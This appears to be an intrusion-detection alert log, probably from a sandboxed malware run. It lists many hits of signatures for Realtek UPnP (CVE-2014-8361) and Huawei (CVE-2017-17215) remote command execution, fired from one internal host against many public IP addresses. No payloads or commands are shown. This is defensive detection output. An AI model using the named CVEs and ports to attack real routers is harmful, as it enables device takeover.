07/20/24-23:01:51.916672	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46732	52869	192.168.2.23	81.144.207.10
07/20/24-23:00:59.185032	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34626	37215	192.168.2.23	41.160.207.169
07/20/24-23:01:43.227281	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59816	52869	192.168.2.23	155.22.111.5
07/20/24-23:01:44.713195	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47504	52869	192.168.2.23	105.221.97.172
07/20/24-23:01:47.674845	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44134	52869	192.168.2.23	134.168.191.164
07/20/24-23:01:56.880291	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40646	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:44.510114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49522	52869	192.168.2.23	108.46.15.204
07/20/24-23:01:27.664606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36288	37215	192.168.2.23	41.157.179.142
07/20/24-23:02:18.238800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35348	52869	192.168.2.23	140.189.156.39
07/20/24-23:01:52.193913	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54490	52869	192.168.2.23	179.220.184.21
07/20/24-23:01:45.978835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40016	52869	192.168.2.23	179.51.3.253
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35460	37215	192.168.2.23	109.94.51.165
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41918	37215	192.168.2.23	157.239.203.194
07/20/24-23:01:11.820979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34426	37215	192.168.2.23	197.175.44.160
07/20/24-23:01:44.993925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36958	52869	192.168.2.23	114.19.125.68
07/20/24-23:01:59.154601	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37598	52869	192.168.2.23	177.72.81.243
07/20/24-23:01:27.654173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53600	37215	192.168.2.23	197.252.135.214
07/20/24-23:01:07.016889	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54644	37215	192.168.2.23	157.211.80.133
07/20/24-23:01:12.807101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53936	52869	192.168.2.23	35.68.164.37
07/20/24-23:01:08.632574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49030	52869	192.168.2.23	58.116.31.11
07/20/24-23:01:45.095767	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42164	52869	192.168.2.23	86.220.55.191
07/20/24-23:01:43.110964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60932	52869	192.168.2.23	73.152.115.130
07/20/24-23:01:27.650337	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54152	37215	192.168.2.23	153.216.34.227
07/20/24-23:01:41.412156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44554	52869	192.168.2.23	154.201.154.131
07/20/24-23:02:01.645032	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54798	52869	192.168.2.23	222.178.130.155
07/20/24-23:01:59.707284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47538	52869	192.168.2.23	42.196.122.240
07/20/24-23:01:42.749469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46454	52869	192.168.2.23	111.186.32.47
07/20/24-23:01:59.302806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38432	52869	192.168.2.23	217.255.162.70
07/20/24-23:01:41.370646	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36080	52869	192.168.2.23	34.44.162.23
07/20/24-23:01:47.486502	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55102	52869	192.168.2.23	38.182.132.190
07/20/24-23:01:01.448947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41332	52869	192.168.2.23	119.187.229.164
07/20/24-23:01:14.158864	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42424	52869	192.168.2.23	138.74.14.28
07/20/24-23:01:31.976984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38654	37215	192.168.2.23	76.88.28.157
07/20/24-23:01:01.901550	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33518	52869	192.168.2.23	27.130.132.139
07/20/24-23:01:00.641498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59564	37215	192.168.2.23	157.198.81.69
07/20/24-23:01:02.119631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58596	37215	192.168.2.23	197.102.112.63
07/20/24-23:01:04.039128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48384	37215	192.168.2.23	197.85.169.251
07/20/24-23:01:31.978141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42054	37215	192.168.2.23	197.65.9.72
07/20/24-23:01:20.599458	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34350	52869	192.168.2.23	130.80.10.211
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57730	37215	192.168.2.23	197.57.71.77
07/20/24-23:01:45.064977	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45862	52869	192.168.2.23	177.220.208.210
07/20/24-23:01:47.652628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50702	52869	192.168.2.23	2.77.241.40
07/20/24-23:01:51.919746	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57832	52869	192.168.2.23	135.215.110.183
07/20/24-23:02:37.919900	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35978	52869	192.168.2.23	152.191.160.62
07/20/24-23:01:42.072139	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45316	52869	192.168.2.23	145.93.255.182
07/20/24-23:01:20.132510	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40272	37215	192.168.2.23	222.12.61.68
07/20/24-23:01:02.066908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39306	37215	192.168.2.23	41.211.122.175
07/20/24-23:01:42.136560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60048	52869	192.168.2.23	67.41.35.87
07/20/24-23:01:48.490989	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58100	52869	192.168.2.23	195.45.218.64
07/20/24-23:01:08.634900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45770	52869	192.168.2.23	201.173.108.254
07/20/24-23:01:44.878540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51740	52869	192.168.2.23	90.145.205.177
07/20/24-23:01:57.346494	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41456	52869	192.168.2.23	27.214.50.214
07/20/24-23:01:31.314906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52102	52869	192.168.2.23	90.135.90.32
07/20/24-23:01:31.982801	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48970	37215	192.168.2.23	157.51.246.221
07/20/24-23:01:41.176787	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49826	52869	192.168.2.23	44.113.54.165
07/20/24-23:01:42.042815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56826	52869	192.168.2.23	157.210.162.125
07/20/24-23:01:42.632123	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34600	52869	192.168.2.23	134.135.7.1
07/20/24-23:01:43.305781	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52648	52869	192.168.2.23	1.198.183.23
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47154	37215	192.168.2.23	41.165.136.62
07/20/24-23:01:43.063994	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45782	52869	192.168.2.23	220.31.50.128
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51646	37215	192.168.2.23	79.246.175.175
07/20/24-23:01:44.602081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49514	52869	192.168.2.23	70.50.33.70
07/20/24-23:01:32.073087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56496	37215	192.168.2.23	197.200.114.238
07/20/24-23:02:18.238800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60464	52869	192.168.2.23	171.248.87.10
07/20/24-23:01:58.905147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46932	52869	192.168.2.23	59.213.19.147
07/20/24-23:01:00.658201	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38354	37215	192.168.2.23	157.80.93.33
07/20/24-23:01:20.592206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40964	52869	192.168.2.23	221.64.55.120
07/20/24-23:01:42.915641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37908	52869	192.168.2.23	195.86.64.66
07/20/24-23:01:53.066716	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37184	52869	192.168.2.23	192.245.224.230
07/20/24-23:01:47.808678	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53342	52869	192.168.2.23	206.56.63.93
07/20/24-23:01:45.667239	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53328	52869	192.168.2.23	153.234.108.85
07/20/24-23:01:27.649697	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58516	37215	192.168.2.23	197.163.104.51
07/20/24-23:01:34.048618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58806	37215	192.168.2.23	80.40.99.121
07/20/24-23:01:14.049603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35116	37215	192.168.2.23	107.86.91.27
07/20/24-23:01:14.105395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45350	37215	192.168.2.23	197.238.188.119
07/20/24-23:01:44.469869	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52872	52869	192.168.2.23	43.168.154.99
07/20/24-23:01:08.565561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54690	52869	192.168.2.23	37.205.238.167
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59428	37215	192.168.2.23	197.58.20.251
07/20/24-23:01:47.541928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34978	52869	192.168.2.23	80.133.252.53
07/20/24-23:01:31.314906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46844	52869	192.168.2.23	152.43.74.118
07/20/24-23:01:43.415157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58212	52869	192.168.2.23	59.121.190.157
07/20/24-23:01:44.520254	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48396	52869	192.168.2.23	190.100.221.147
07/20/24-23:01:07.004907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46144	37215	192.168.2.23	57.18.83.1
07/20/24-23:01:08.562013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55056	52869	192.168.2.23	212.114.230.189
07/20/24-23:01:24.867858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46002	37215	192.168.2.23	208.252.51.218
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46230	37215	192.168.2.23	194.21.224.56
07/20/24-23:01:00.633355	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59428	37215	192.168.2.23	197.118.130.41
07/20/24-23:01:08.677485	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57992	52869	192.168.2.23	65.136.207.183
07/20/24-23:01:46.808111	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49806	52869	192.168.2.23	90.112.61.164
07/20/24-23:01:08.650213	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51888	52869	192.168.2.23	132.86.136.162
07/20/24-23:01:49.329747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34040	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:47.569820	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59236	52869	192.168.2.23	163.47.80.71
07/20/24-23:01:01.826098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59266	52869	192.168.2.23	135.23.236.194
07/20/24-23:01:46.176757	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47606	52869	192.168.2.23	220.91.249.28
07/20/24-23:01:42.627588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51950	52869	192.168.2.23	174.16.2.141
07/20/24-23:02:05.745200	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52492	52869	192.168.2.23	104.143.173.10
07/20/24-23:01:20.600303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42888	52869	192.168.2.23	138.74.14.28
07/20/24-23:01:07.026812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57606	37215	192.168.2.23	62.96.8.174
07/20/24-23:01:14.049603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39784	37215	192.168.2.23	157.38.188.109
07/20/24-23:01:41.229799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59514	52869	192.168.2.23	100.0.247.159
07/20/24-23:01:21.936545	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53604	37215	192.168.2.23	41.20.166.185
07/20/24-23:01:51.943792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41816	52869	192.168.2.23	43.71.121.153
07/20/24-23:01:31.978141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60358	37215	192.168.2.23	157.101.195.198
07/20/24-23:01:49.302154	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52690	52869	192.168.2.23	190.1.92.156
07/20/24-23:02:00.413915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49516	52869	192.168.2.23	165.63.9.134
07/20/24-23:01:27.650871	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49532	37215	192.168.2.23	85.60.122.132
07/20/24-23:01:52.646505	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51246	52869	192.168.2.23	141.217.152.223
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51778	37215	192.168.2.23	41.161.204.46
07/20/24-23:01:24.910426	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33084	37215	192.168.2.23	197.178.69.12
07/20/24-23:01:08.640831	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35026	52869	192.168.2.23	114.190.123.93
07/20/24-23:01:44.795218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38366	52869	192.168.2.23	12.154.226.190
07/20/24-23:01:11.817771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60098	37215	192.168.2.23	94.180.106.123
07/20/24-23:01:42.000471	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46648	52869	192.168.2.23	141.211.193.35
07/20/24-23:01:47.023698	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56202	52869	192.168.2.23	49.152.226.6
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51310	37215	192.168.2.23	126.71.100.246
07/20/24-23:01:42.262355	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57412	52869	192.168.2.23	129.65.153.68
07/20/24-23:01:25.481306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56798	52869	192.168.2.23	5.207.112.150
07/20/24-23:01:59.449569	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58072	52869	192.168.2.23	129.15.238.37
07/20/24-23:01:07.114267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41674	37215	192.168.2.23	59.163.139.170
07/20/24-23:01:44.870961	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42288	52869	192.168.2.23	91.225.198.252
07/20/24-23:01:08.620788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49576	52869	192.168.2.23	87.137.214.123
07/20/24-23:01:25.498619	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56578	52869	192.168.2.23	119.38.147.179
07/20/24-23:01:20.592206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34798	52869	192.168.2.23	144.166.152.235
07/20/24-23:01:44.484644	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49704	52869	192.168.2.23	105.187.39.89
07/20/24-23:01:57.169212	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57438	52869	192.168.2.23	149.53.250.19
07/20/24-23:01:40.331150	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36904	37215	192.168.2.23	197.185.185.234
07/20/24-23:01:03.126921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52722	52869	192.168.2.23	139.37.94.236
07/20/24-23:01:20.119973	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53292	37215	192.168.2.23	157.0.250.177
07/20/24-23:00:59.201033	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56980	37215	192.168.2.23	41.75.227.101
07/20/24-23:01:14.367036	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44160	52869	192.168.2.23	109.120.196.186
07/20/24-23:01:21.099180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51752	52869	192.168.2.23	9.70.14.160
07/20/24-23:01:27.666100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41150	37215	192.168.2.23	148.251.22.209
07/20/24-23:01:50.212922	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40040	52869	192.168.2.23	152.179.89.83
07/20/24-23:01:46.591274	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37074	52869	192.168.2.23	187.34.215.18
07/20/24-23:01:44.624990	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51404	52869	192.168.2.23	223.103.54.206
07/20/24-23:01:41.263141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43200	52869	192.168.2.23	192.12.11.101
07/20/24-23:02:30.172034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38216	52869	192.168.2.23	148.112.106.138
07/20/24-23:01:41.608574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50646	52869	192.168.2.23	187.178.228.43
07/20/24-23:01:41.522990	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53746	52869	192.168.2.23	146.0.35.148
07/20/24-23:01:00.633389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41340	37215	192.168.2.23	197.95.169.228
07/20/24-23:01:55.870348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37940	52869	192.168.2.23	73.223.107.25
07/20/24-23:01:02.104572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43368	37215	192.168.2.23	41.75.108.94
07/20/24-23:01:31.976984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59422	37215	192.168.2.23	197.243.29.19
07/20/24-23:01:41.758923	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35628	52869	192.168.2.23	193.15.215.48
07/20/24-23:01:49.810143	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35336	52869	192.168.2.23	34.147.70.115
07/20/24-23:00:57.221017	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59050	37215	192.168.2.23	203.201.15.112
07/20/24-23:01:42.672378	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58926	52869	192.168.2.23	112.83.62.168
07/20/24-23:01:03.813611	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41022	52869	192.168.2.23	57.224.40.86
07/20/24-23:01:46.358381	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42794	52869	192.168.2.23	203.57.14.26
07/20/24-23:01:53.524925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56392	52869	192.168.2.23	90.72.98.132
07/20/24-23:01:42.939520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50552	52869	192.168.2.23	114.151.113.249
07/20/24-23:01:52.285243	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36866	52869	192.168.2.23	96.119.211.11
07/20/24-23:01:11.816504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32888	37215	192.168.2.23	20.16.236.13
07/20/24-23:01:43.035756	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38810	52869	192.168.2.23	152.70.166.60
07/20/24-23:01:55.606975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58218	52869	192.168.2.23	64.98.234.97
07/20/24-23:02:48.156942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41054	52869	192.168.2.23	211.211.25.32
07/20/24-23:01:08.599362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53054	52869	192.168.2.23	161.203.121.55
07/20/24-23:01:49.116780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34822	52869	192.168.2.23	191.56.125.219
07/20/24-23:01:42.740527	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43206	52869	192.168.2.23	8.243.36.237
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34160	37215	192.168.2.23	64.137.17.221
07/20/24-23:01:47.821658	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57088	52869	192.168.2.23	223.33.49.156
07/20/24-23:02:18.278764	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56808	52869	192.168.2.23	72.193.247.149
07/20/24-23:01:40.291616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49718	37215	192.168.2.23	41.207.12.33
07/20/24-23:01:32.028836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35218	37215	192.168.2.23	197.21.215.215
07/20/24-23:01:56.304951	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54288	52869	192.168.2.23	187.63.42.28
07/20/24-23:01:09.055028	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54640	52869	192.168.2.23	207.223.182.162
07/20/24-23:01:11.817297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38628	37215	192.168.2.23	41.4.213.77
07/20/24-23:01:27.649775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33728	37215	192.168.2.23	157.60.95.77
07/20/24-23:01:48.138392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53770	52869	192.168.2.23	97.241.192.98
07/20/24-23:01:12.852602	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40150	52869	192.168.2.23	27.116.111.15
